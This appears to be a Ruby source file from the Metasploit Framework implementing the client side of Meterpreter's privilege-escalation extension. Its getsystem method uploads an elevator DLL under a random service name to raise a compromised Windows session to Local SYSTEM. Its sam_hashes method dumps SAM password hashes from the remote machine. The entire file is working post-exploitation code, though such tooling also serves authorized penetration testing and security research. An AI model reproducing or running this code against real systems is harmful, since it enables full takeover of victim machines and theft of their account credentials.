#!/usr/bin/env ruby
# -*- coding: binary -*-

require 'rex/post/meterpreter/extensions/priv/tlv'
require 'rex/post/meterpreter/extensions/priv/passwd'
require 'rex/post/meterpreter/extensions/priv/fs'

module Rex
module Post
module Meterpreter
module Extensions
module Priv

###
#
# This meterpreter extensions a privilege escalation interface that is capable
# of doing things like dumping password hashes and performing local
# exploitation.
#
###
class Priv < Extension

  #
  # Initializes the privilege escalationextension.
  #
  def initialize(client)
    super(client, 'priv')

    client.register_extension_aliases(
      [
        {
          'name' => 'priv',
          'ext'  => self
        },
      ])

    # Initialize sub-classes
    self.fs = Fs.new(client)
  end

  #
  # Attempt to elevate the meterpreter to Local SYSTEM
  #
  def getsystem( technique=0 )
    request = Packet.create_request( 'priv_elevate_getsystem' )

    elevator_name = Rex::Text.rand_text_alpha_lower( 6 )

    if( client.platform == 'x64/win64' )
      elevator_path = ::File.join( Msf::Config.install_root, "data", "meterpreter", "elevator.x64.dll" )
    else
      elevator_path = ::File.join( Msf::Config.install_root, "data", "meterpreter", "elevator.dll" )
    end

    elevator_path = ::File.expand_path( elevator_path )

    elevator_data = ""

    ::File.open( elevator_path, "rb" ) { |f|
      elevator_data += f.read( f.stat.size )
    }

    request.add_tlv( TLV_TYPE_ELEVATE_TECHNIQUE, technique )
    request.add_tlv( TLV_TYPE_ELEVATE_SERVICE_NAME, elevator_name )
    request.add_tlv( TLV_TYPE_ELEVATE_SERVICE_DLL, elevator_data )
    request.add_tlv( TLV_TYPE_ELEVATE_SERVICE_LENGTH, elevator_data.length )

    # as some service routines can be slow we bump up the timeout to 90 seconds
    response = client.send_request( request, 90 )

    technique = response.get_tlv_value( TLV_TYPE_ELEVATE_TECHNIQUE )

    if( response.result == 0 and technique != nil )
      client.core.use( "stdapi" ) if not client.ext.aliases.include?( "stdapi" )
      client.sys.config.getprivs
      if client.framework.db and client.framework.db.active
        client.framework.db.report_note(
          :host => client.sock.peerhost,
          :workspace => client.framework.db.workspace,
          :type => "meterpreter.getsystem",
          :data => {:technique => technique}
        ) rescue nil
      end
      return [ true, technique ]
    end

    return [ false, 0 ]
  end

  #
  # Returns an array of SAM hashes from the remote machine.
  #
  def sam_hashes
    # This can take a long long time for large domain controls, bump the timeout to one hour
    response = client.send_request(Packet.create_request('priv_passwd_get_sam_hashes'), 3600)

    response.get_tlv_value(TLV_TYPE_SAM_HASHES).split(/\n/).map { |hash|
      SamUser.new(hash)
    }
  end

  #
  # Modifying privileged file system attributes.
  #
  attr_reader :fs

protected

  attr_writer :fs # :nodoc:

end

end; end; end; end; end

